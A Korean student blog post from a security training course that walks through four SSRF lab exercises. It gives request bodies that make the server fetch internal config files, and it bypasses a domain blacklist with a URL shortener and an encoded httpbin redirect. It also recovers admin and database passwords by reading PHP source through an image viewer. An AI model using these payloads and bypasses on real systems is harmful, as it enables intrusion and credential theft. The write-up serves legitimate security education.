| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | |||
| 5 | 6 | 7 | 8 | 9 | 10 | 11 |
| 12 | 13 | 14 | 15 | 16 | 17 | 18 |
| 19 | 20 | 21 | 22 | 23 | 24 | 25 |
| 26 | 27 | 28 | 29 | 30 | 31 |
- 동적분석
- webhacking
- 우아한테크코스
- sk 쉴더스 루키즈 31기
- linux
- 프리코스
- 예술의 전당
- c
- sk 쉴더스
- Practical Malware Analysis Labs
- sk 쉴더스 루키즈
- 레나튜토리얼
- 깃
- 레나 튜토리얼
- 백엔드
- 리버싱
- top-cert
- 위상 정렬
- 루키즈
- sk쉴더스 루키즈
- 자바
- React
- 루키즈 31기
- SK쉴더스루키즈
- 루키즈31기
- 웹개발
- 알고리즘
- Dreamhack
- 악성코드 분석
- 우테코
- Today
- Total
yon11b
[SK 쉴더스 루키즈] SSRF 실습문제 1~4번 본문
SSRF란?
CSRF는 클라이언트 기준 요청이라면, SSRF는 서버 내부에서 요청을 보내는 것!
1번
외부에서 접근이 불가능한 내부 웹 서버인 "http://eqst-ssrf-victim.com"에서 "/include/db_conf.php" 설정 파일이 있다는 정보를 확인하였다. 해당 내부 웹 서버에서 DB 계정의 비밀번호를 탈취하시오.

그냥 이거 새로고침해서 burp로 중간 요청 잡아서 보면 이렇게 생겼다.

서버가 요청을 보내는 것이기 때문에 forward로 하나씩 확인을 해봤을 때 중간 요청이 잡히지 않고 바로 요청한 것을 받은 것을 볼 수 있다.
POST /ssrf_1/noticelist.php HTTP/1.1
Host: lab.eqst.co.kr:8096
file=https%3A%2F%2Fpastebin.com%2Fraw%2FCiLWksMZ&read=%EA%B3%B5%EC%A7%80+%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8
post 방식으로 file, read를 넘기고 있다.
우리는 http://eqst-ssrf-victim.com/include/db_conf.php 으로 요청을 보내야 한다.
그러므로
file=http://eqst-ssrf-victim.com/include/db_conf.php&read=
이렇게 burp에서 수정해주고 URL 인코딩 해서 전송해주자.(*read에는 아무것도 안 넣어도 된다!)
그럼 db_conf.php 파일로 추정되는 코드가 뜬다.


you_~~ttack 이 정답이다.
2번
외부에서 접근이 불가능한 내부 웹 서버인 "http://eqst-ssrf-victim.com"에서 "/include/db_conf.php" 설정 파일이 있다는 정보를 확인하였다.
또한 관리자가 이전 공격에 대해 단단히 화가 나(ㄷㄷ) SSRF 공격에 대한 보안 대책을 세웠다고 한다.
해당 내부 웹 서버에서 DB 계정의 비밀번호를 탈취하시오.
똑같은 공지사항 페이지가 보인다.

이번에는 file=http://eqst-ssrf-victim.com/include/db_conf.php&read= 로 데이터를 담아서 요청을 보내도 "공지사항이 벗습니다. 새로고침 해주세요."가 뜬다.
해당 도메인이 필터링이 걸려있나보다.
우회방법1. URL shortner 사용
우회방법2. 외부 리다이렉트 서버 사용
우회방법1. URL shortener 사용 [링크]
URL 짧게 만들어주는 사이트이다.

http://eqst-ssrf-victim.com/include/db_conf.php 이걸 https://tinyurl.com/yxrekkd5로 바꿔서 전송해보자.
서버는 tinyurl.com은 블랙리스트 필터링에 안 걸어놔서 통과시킨다.

성공!

우회방법2. 외부 리다이렉트 서버 사용
리다이렉트를 해주는 서비스가 있다. https://httbin.org/
httbin.org
We’re getting things ready Loading your experience… This won’t take long.
httbin.org
https://httpbin.org/redirect-to?status_code=302&url=http://eqst-ssrf-victim.com/include/db_conf.php
=> redirect-to 엔드포인트를 호출하면, httpbin이 302 Redirect 응답을 돌려준다.
=> url=... → 리다이렉트될 최종 목적지 URL을 지정한다.
브라우저나 서버 HTTP 클라이언트가 리다이렉트를 따라가면 최종적으로 http://eqst-ssrf-victim.com/include/db_conf.php 에 요청하게 된다.
httpbin 주요 기능
| 엔드포인트 | 설명 | 사용 예제 | 주 용도 |
| /get | GET 요청 정보 확인 | https://httpbin.org/get?name=test | Query Parameter 확인 |
| /post | POST 요청 정보 확인 | POST <https://httpbin.org/post> | Form, Body 확인 |
| /anything | 모든 HTTP 메서드 처리 | https://httpbin.org/anything/test | 요청 전체 확인 |
| /headers | 요청 헤더 출력 | https://httpbin.org/headers | Header 확인 |
| /ip | 요청한 클라이언트 IP 출력 | https://httpbin.org/ip | SSRF 출발 IP 확인 |
| /user-agent | User-Agent 출력 | https://httpbin.org/user-agent | UA 확인 |
| /status/{code} | 원하는 HTTP 상태코드 반환 | https://httpbin.org/status/404 | 오류 처리 테스트 |
| /redirect-to | 지정한 URL로 리다이렉트 | https://httpbin.org/redirect-to?status_code=302&url=https://example.com | Redirect 테스트 |
| /redirect/{n} | n번 연속 리다이렉트 | https://httpbin.org/redirect/3 | Redirect 제한 확인 |
| /delay/{sec} | 지정 시간 후 응답 | https://httpbin.org/delay/5 | Timeout 테스트 |
| /cookies | 전달된 쿠키 출력 | https://httpbin.org/cookies | Cookie 확인 |
| /cookies/set | 쿠키 설정 | https://httpbin.org/cookies/set?name=test | Cookie 테스트 |
| /basic-auth/{user}/{pass} | Basic Authentication 테스트 | https://httpbin.org/basic-auth/admin/1234 | 인증 테스트 |
| /bearer | Bearer Token 인증 테스트 | https://httpbin.org/bearer | JWT/Bearer 테스트 |
| /response-headers | 원하는 응답 헤더 생성 | https://httpbin.org/response-headers?X-Test=hello | Header 처리 테스트 |
요청 구문
https://httpbin.org/redirect-to?status_code=302&url=http://eqst-ssrf-victim.com/include/db_conf.php 을 URL인코딩한 것.
file=https%3A%2F%2Fhttpbin.org%2Fredirect-to%3Fstatus_code%3D302%26url%3Dhttp%253A%252F%252F%2565%2571%2573%2574%252D%2573%2573%2572%2566%252D%2576%2569%2563%2574%2569%256D%252E%2563%256F%256D%252Finclude%252Fdb_conf.php&read=
응답 결과

전체 코드
<?php
class db extends mysqli {
private static $instance;
private static $instance1;
public static function getInstance($_db){
if ($_db == ''){
if( ! isset( self::$instance ) ){
//self::$instance = new db( db_host , db_user , db_pass , db_db );
self::$instance = new db( "127.0.0.1" , "ssrf_user" , "admin_will_be_fired" , "skinfosec" );
}
return self::$instance;
}else{
if( ! isset( self::$instance1 ) ){
//self::$instance1 = new db( db_host , db_user , db_pass , $_db );
self::$instance1 = new db("127.0.0.1" , "ssrf_user" , "admin_will_be_fired" , "skinfosec" );
}
return self::$instance1;
}
}
public function __construct( $host , $user , $pass , $db ){
$this->connect( $host , $user , $pass , $db );
$this->set_charset( 'utf8' );
}
public function __destruct() {
$this->close();
}
public function selectS( $query ){
$data = array();
$result = $this->query( $query );
if( $result != null ){
while( $row = $result->fetch_object() ){
$data[] = $row;
}
}
if( count( $data ) == 0 ){
return null;
}else{
return $data;
}
}
public function insertS( $query ){
$result = $this->query( $query );
return $this->insert_id;
}
public function updateS( $query ){
$result = $this->query( $query );
return $this->affected_rows;
}
public function deleteS( $query ){
$result = $this->query( $query );
return $this->affected_rows;
}
}
?>
3번
관리자 페이지에 접근하고 로그인하시오.

주석에 관리자페이지 주소가 나와있다. http://eqst-ssrf-victim.com:8098/admin.php
이 주소를 input창에 넣어서 페이지 보기 버튼을 클릭해주면 관리자 페이지가 나온다.
그런데 이 3번 문제는 :8087 포트에서 작동해서 그런지 내가 원하는 :8098 포트에서 열리는 게 아니라
https://도메인:8097/ssrf_3/urlviewer.php?url= http://eqst-ssrf-victim.com:8098/admin.php 이런식으로 쓰인다.

일단 관리자 페이지가 열리긴 했으니까 html을 보자. 여기에 admin계정의 ID, PW가 써져있다.
그리고 form은 GET 방식으로 보내는 것을 확인할 수 있다.

여기 관리자 페이지에서 adminID, adminPW를 넣고 로그인 버튼을 누르면? -> 안 된다.

내가 입력한 adminID, adminPW가 :8098/admin.php의 GET요청으로 들어가는 것이 아니라 :8097/ssrf_3/admin.php의 GET 요청으로 들어가고 있었다.

그래서 어차피 GET 방식이니까 :8098에 바로 id, pw 파라미터를 붙여서 다음과 같이 input창에 입력해주면 된다.

그럼 여기로 리다이렉트 된다.
https://lab.eqst.co.kr:8097/ssrf_3/urlviewer.php?url=http://eqst-ssrf-victim.com:8098/admin.php?login_id=adminID&login_pwd=adminPW&read=페이지보기

4번
admin.php 페이지에 내부 DB 서버에 접속하는 DB 컨넥터 페이지가 존재한다는 정보를 확인하였다. 해당 DB 컨넥터를 이용해 내부 DB 서버에 접속하시오.
기본페이지: https://lab.eqst.co.kr:8099/ssrf_2/imageview.php

이 이미지는 base64 인코딩된 것으로 불러오고 있다.

일단 admin.php 페이지를 먼저 한 번 보자.
https://lab.eqst.co.kr:8099/ssrf_2/admin.php 으로 접속하면 admin_login.php로 자동 리다이렉트 된다.

.php 파일인데 개발자도구를 켜서 볼 수 있는 것은 HTML코드 뿐이다.
나는 php 파일 전체 내용을 보고 싶다!
admin.php 디코딩
imageview.php로 돌아가서 admin.php 를 입력해보자.

하면 이미지 아이콘이 뜨고 해당 <img src~~~가 뜬다. base64로 인코딩 되어있는 src 주소를 디코딩해주자.
<script>location.replace('admin_login.php');</script>
admin_login.php로 이동한다는 스크립트이다.
admin_login.php 디코딩
이번에는 imageview.php로 돌아가서 admin_login.php를 입력해보자. 똑같이 이미지 src가 있다.
base64로 인코딩 되어있는 src 주소를 디코딩해주자.
디코딩 결과(https://www.base64decode.org/ko/ 사이트 이용)
전체 코드
<?php header("Content-Type: text/html; charset=UTF-8");?>
<?php include_once "include/common/declare.php";?>
<?php include_once "../request_log_ssrf2.php";?>
<?php
$user = nvl( $_GET['title'],'1');
?>
<!doctype html>
<html lang="ko" style="height:100%;">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
<title>EQST 보안교육센터</title>
<link rel="shortcut icon" href="favicon.ico">
<link rel="stylesheet" href="../css/style.css" />
<script type="text/javascript" src="../js/libs/jquery-1.11.3.min.js"></script>
<script type="text/javascript" src="../js/libs/jquery-ui.js"></script>
<script type="text/javascript" src="../js/libs/jquery.bxslider.min.js"></script>
<script type="text/javascript" src="../js/libs/nice-select/nice-select.js"></script>
<script type="text/javascript" src="../js/libs/dotdotdot/dotdotdot.js"></script>
<script type="text/javascript" src="../js/libs/datepicker.js"></script>
<!--<script type="text/javascript" src="./commons.js"></script>-->
<link rel="stylesheet" href="../css/libs/jquery-ui.css" />
<script type="text/javascript">
$(function() {
$.customFn = {
boardReg : function(){
$("#searchForm").submit();
},
sortingProcess : function(){
$('#pageIndex').val('1');
$("#searchForm").attr("action", "notice.php");
$("#searchForm").submit();
},
searchProcess : function(){
$('#pageIndex').val('1');
if($("#startDt").val() != ""){
if($("#endDt").val() == ""){
alert("작성일을 입력해주세요.");
return false;
}
}
if($("#endDt").val() != ""){
if($("#startDt").val() == ""){
alert("작성일을 입력해주세요.");
return false;
}
}
$("#searchForm").submit();
}
};
$(document).ready(function() {
if($("#userName").val() == ''){
alert("로그인이 필요합니다.");
location.href = "/login.php";
return;
}
var query = '';
if($("#keyword").val() != ''){
query = query + '&searchType='+$("#searchType").val()+'&keyword='+$("#keyword").val();
}
if($("#startDt").val() != ''){
query = query + '&startDt='+$("#startDt").val()+'&endDt='+$("#endDt").val();
}
if($("#sorting").val() != ''){
query = query + '&sorting='+$("#sorting").val();
}
});
btnReg = $("#btnReg");
btnSearch = $("#btnSearch");
sortingTitle = $("#sortingTitle");
sortingRegUserNm = $("#sortingRegUserNm");
sortingRegDt = $("#sortingRegDt");
sortingTitle2 = $("#sortingTitle2");
sortingRegUserNm2 = $("#sortingRegUserNm2");
sortingRegDt2 = $("#sortingRegDt2");
//게시물 등록
btnReg.click(function(e) {
e.preventDefault();
$.customFn.boardReg();
});
/*
//search 버튼 클릭시
btnSearch.click(function(e){
e.preventDefault();
$.customFn.searchProcess();
});
*/
sortingTitle.click(function(e){
e.preventDefault();
$('#sorting').val('title');
$("#sotingAd").val("ASC");
/*if ($("#sotingAd").val() == "" ){
$("#sotingAd").val("ASC");
}else if ($("#sotingAd").val() == "DESC" ) {
$("#sotingAd").val("ASC");
}else{
$("#sotingAd").val("DESC");
}*/
$.customFn.sortingProcess();
});
sortingTitle2.click(function(e){
e.preventDefault();
$('#sorting').val('title');
$("#sotingAd").val("DESC");
$.customFn.sortingProcess();
});
sortingRegUserNm.click(function(e){
e.preventDefault();
$('#sorting').val('regUserNm');
$("#sotingAd").val("ASC");
/*if ($("#sotingAd").val() == "" ){
$("#sotingAd").val("ASC");
}else if ($("#sotingAd").val() == "DESC" ) {
$("#sotingAd").val("ASC");
}else{
$("#sotingAd").val("DESC");
}*/
$.customFn.sortingProcess();
});
sortingRegUserNm2.click(function(e){
e.preventDefault();
$('#sorting').val('regUserNm');
$("#sotingAd").val("DESC");
$.customFn.sortingProcess();
});
sortingRegDt.click(function(e){
e.preventDefault();
$('#sorting').val('REG_DT');
$("#sotingAd").val("ASC");
/*if ($("#sotingAd").val() == "" ){
$("#sotingAd").val("ASC");
}else if ($("#sotingAd").val() == "DESC" ) {
$("#sotingAd").val("ASC");
}else{
$("#sotingAd").val("DESC");
}*/
$.customFn.sortingProcess();
});
sortingRegDt2.click(function(e){
e.preventDefault();
$('#sorting').val('REG_DT');
$("#sotingAd").val("DESC");
$.customFn.sortingProcess();
});
});
function search(){
if (window.event.keyCode == 13) {
$.customFn.searchProcess();
}
}
function goView(ol){
document.searchForm.board_id.value=ol;
document.searchForm.action = "noticeview.php";
document.searchForm.method = "GET";
document.searchForm.submit();
}
</script>
</head>
<body class="set_size">
<!--[s] header -->
<?php include_once('./include/header.php') ?>
<!--[e] header -->
<!--[s] main-container-->
<div class="main-container" id="main-container">
<script type="text/javascript">
try{ace.settings.check('main-container' , 'fixed')}catch(e){}
</script>
<!--[s] main-content-->
<div class="main-content">
<div class="main-content-inner">
<div class="page-content">
<div class="page-header">
<h1>
<i class="ace-icon fa fa-ellipsis-v orange"></i>
관리자 페이지(비공개)
</h1><br>
<span id="search_word"></span>
</div>
<div class="hr10"></div>
<form name="LoginFm" id="LoginFm" method="POST" >
<input type="hidden" name="returnurl" id="returnurl" value="" >
<!--[s] wrap_login-->
<div class="wrap_login" >
<ul class="box_login">
<li class="tit"> 관리자 페이지</li>
<li><input type="text" name="login_id" value="" tabindex="1" id="login_id" placeholder="아이디" class="userID" /></li>
<li><input type="password" name="login_pwd" value="" tabindex="2" id="login_pwd" placeholder="패스워드" class="userPW" /></li>
<li class="line_btn">
<input class="btn_login" type=submit name=okdk value="로그인">
</li>
</ul>
</div>
<!--[e] wrap_login-->
</form>
<?php
if(isset($_POST['okdk']))
{
$id=trim($_POST['login_id']);
$pw=trim($_POST['login_pwd']);
if($id === "adminuser" && $pw === "adminpassword")
{
$_SESSION['ADMIN_YN'] = "Y";
echo("<script>location.replace('admin.php');</script>");
}
else
{
echo "<br><br>아이디/패스워드가 일치하지 않습니다.";
}
}
?>
<script>
$('#keyword').on('keyup', function(e) {
e.preventDefault();
//var ov = '검색 결과 : ' + $('#keyword').val();
//$('#search_word').html(ov);
var queryString = $("form[name=searchForm]").serialize() ;
$.ajax({
type : 'post',
url : './noticeHTML.php',
data : queryString,
dataType : 'html',
error: function(xhr, status, error){
alert(error);
},
success : function(dataov){
$('tbody').html(dataov);
},
});
});
</script>
<!--[s] wrap_pagenation -->
<div class="box_table_bottom">
<div class="pull-center">
<!--[s] pagenation -->
<ul class="pagination">
<?php
pagingType2( $rowsCntArr["tCnt"] , $pageIndex , 10 , $pageSize , $_SERVER[PHP_SELF] , '');
?>
</ul>
<!--[e] pagenation -->
</div>
</div>
<!--[s] wrap_pagenation -->
</div><!-- [e] col-xs-12-->
</div><!--[e] row-->
</div><!-- /.page-content -->
</div>
</div><!-- /.main-content -->
</div><!-- /.main-container -->
</body>
</html>
1. admin 계정 찾음(위 결과 중 일부 발췌)
<?php
if(isset($_POST['okdk']))
{
$id=trim($_POST['login_id']);
$pw=trim($_POST['login_pwd']);
if($id === "adminuser" && $pw === "adminpassword")
{
$_SESSION['ADMIN_YN'] = "Y";
echo("<script>location.replace('admin.php');</script>");
}
else
{
echo "<br><br>아이디/패스워드가 일치하지 않습니다.";
}
}
?>
id, pw가 적혀있다.
id가 adminuser이고 pw가 adminpassword일 때 SESSION['ADMIN_YN']='Y'가 되고 admin.php로 이동한다.
확인해보자. 관리자페이지로 가서 id, pw를 입력해주면 admin.php로 잘 이동한다.

이제 DB 계정 정보를 찾아야 한다.
2. include된 다른 php 파일들 찾음
아까 admin_login.php 디코딩 결과 맨 처음에 이런 코드가 있었다.
<?php header("Content-Type: text/html; charset=UTF-8");?>
<?php include_once "include/common/declare.php";?>
<?php include_once "../request_log_ssrf2.php";?>
또 다른 php 파일들을 불러오는 것이다. 이번에는 이 php 파일을 imageviewer.php를 통해서 불러와보자.
주의할 점: 이 php 파일들은 그냥 불러와지는게 아니라 이 서버 안에서만 불러올 수 있는 파일들이다.
include/common/declare.php 디코딩


<?php
include_once "include/common/property.php";
include_once "include/common/class.db.php";
include_once "include/common/common.function.php";
?>
include/common/property.php 디코딩
<?php
session_start();
ob_start();
session_cache_limiter('private');
ini_set("session.cookie_lifetime", 0);
ini_set("session.cache_expire", 60);
ini_set("session.gc_maxlifetime", 60);
/* Site Config*/
define( "SITE" , "eliterising" );
define( "DOMAIN_SITE" , "http://skinfosec.solamt.com" );
define( "DOMAIN_EMAIL" , "http://skinfosec.solamt.com" );
define( "ADDR_EMAIL" , "webmaster@skinfosec.solamt.com" );
define( "PATH_UPLOAD" , "D:\program files\AutoSet10\public_html\uploads" );
//define( "PATH_DOWNLOAD" , "C:/AutoSet10/public_html/download" );
//define( "PATH_UPLOAD" , $_SERVER["DOCUMENT_ROOT"] . "/uploads" );
define( "PATH_DOWNLOAD" , $_SERVER["DOCUMENT_ROOT"] . "" );
define( "ROOT_PATH" , $_SERVER["DOCUMENT_ROOT"] );
/* DB Info */
/*
define( 'db_host' , 'localhost' );
define( 'db_user' , 'wpartner' );
define( 'db_pass' , 'wpartner' );
define( 'db_db' , 'emergency' );
*/
/* RealDB */
define( "db_host" , "127.0.0.1" );
define( "db_user" , "skinfosec" );
define( "db_pass" , "skinfosec" );
define( "db_db" , "skinfosec" );
/* */
define( 'ALLOW_IMG_EXT' , 'jpg,png,jpeg,gif,JPG,PNG,JPEG,GIF,bmp,BMP,doc,docx,ppt,pptx,xls,xlsx,pdf,zip' );
define( 'ALLOW_FILE_EXT' , 'jpg,png,jpeg,gif,JPG,PNG,JPEG,GIF,bmp,BMP,doc,docx,ppt,pptx,xls,xlsx,pdf,zip,csv' );
$FILE_SIZE = 20*1024 * 1024;
/* Global Var */
//$S_USER_ID = $_SESSION["LOGIN_ID"]; //
//$S_USER_NM = $_SESSION["USER_NM"]; //
/* Client IP */
$USER_IP = $_SERVER[ 'REMOTE_ADDR' ];
$HTTP_REFERER = $_SERVER[ 'HTTP_REFERER' ];
$USER_AGENT = $_SERVER['HTTP_USER_AGENT'];
//
$MOBILE_AGENT = '/(iPod|iPhone|Android|BlackBerry|SymbianOS|SCH-M\d+|Opera Mini|Windows CE|Nokia|SonyEricsson|webOS|PalmOS)/';
//
$SITE_NM = "Eqst";
$SITE_ROOT = "/";
$ADMIN_ROOT = "/admin";
$WEB_ROOT = "/";
$UPLOAD_ROOT = "/upload";
$DESIGN_ROOT = "/";
//Domain .
$Domain = "http://skinfosec.solamt.com";
?>
include/common/class.db.php
db_user: ssrf_user
db_pass: ssrf12#$
<?php
class db extends mysqli {
private static $instance;
private static $instance1;
public static function getInstance($_db, $_db_user, $_db_pass){
if( ! isset( self::$instance ) ){
//self::$instance = new db( db_host , db_user , db_pass , db_db );
// op db [host: mariadb, ID:ssrf_user, PW:ssrf12#$]
self::$instance = new db( "mariadb" , $_db_user, $_db_pass, "skinfosec" );
}
return self::$instance;
}
public static function getAutoInstance($_db){
if ($_db == ''){
if( ! isset( self::$instance ) ){
//self::$instance = new db( db_host , db_user , db_pass , db_db );
self::$instance = new db( "mariadb" , "ssrf_user" , "ssrf12#$" , "skinfosec" );
}
return self::$instance;
}else{
if( ! isset( self::$instance1 ) ){
//self::$instance1 = new db( db_host , db_user , db_pass , $_db );
self::$instance1 = new db("mariadb" , "ssrf_user" , "ssrf12#$" , "skinfosec" );
}
return self::$instance1;
}
}
public function __construct( $host , $user , $pass , $db ){
$this->connect( $host , $user , $pass , $db );
$this->set_charset( 'utf8' );
}
public function __destruct() {
$this->close();
}
public function selectS( $query ){
$data = array();
$result = $this->query( $query );
if( $result != null ){
while( $row = $result->fetch_object() ){
$data[] = $row;
}
}
if( count( $data ) == 0 ){
return null;
}else{
return $data;
}
}
public function insertS( $query ){
$result = $this->query( $query );
return $this->insert_id;
}
public function updateS( $query ){
$result = $this->query( $query );
return $this->affected_rows;
}
public function deleteS( $query ){
$result = $this->query( $query );
return $this->affected_rows;
}
public function getanswer(){
$returnArr = array();
$seqCnt = "select answer_column from ssrf_answer";
$returnArr = $this->selectS($seqCnt);
return $returnArr[0]->answer_column;
}
}
?>


Q. 왜 property.php에 있는 계정 정보로는 안 되고 class.db.php에 있는 DB 계정 정보로만 되나?
class.db.php 안에서 원래 property.php 값을 쓰던 코드는 주석 처리되어 있다
//self::$instance = new db( db_host , db_user , db_pass , db_db );
즉 실제 동작은:
property.php 값 → 현재 로그인 로직에서 안 씀
class.db.php의 mariadb / ssrf_user / ssrf12#$ → 실제로 씀
그래서 skinfosec / skinfosec로는 안 되고, ssrf_user / ssrf12#$로 되는 거다.
'보안 > SK 쉴더스 루키즈' 카테고리의 다른 글
| [SK 쉴더스 루키즈] 파일 업로드 취약점 실습 문제(1~6번) (0) | 2026.07.02 |
|---|---|
| [SK 쉴더스 루키즈] 파일 다운로드 취약점 실습 문제(1~4번)와 대응방안 (0) | 2026.07.01 |
| [SK 쉴더스 루키즈] CSRF 실습문제 3번 (0) | 2026.06.30 |
| [SK 쉴더스 루키즈] CSRF 실습문제 2번 (0) | 2026.06.29 |
| [SK 쉴더스 루키즈] CSRF 실습문제 1번 (0) | 2026.06.29 |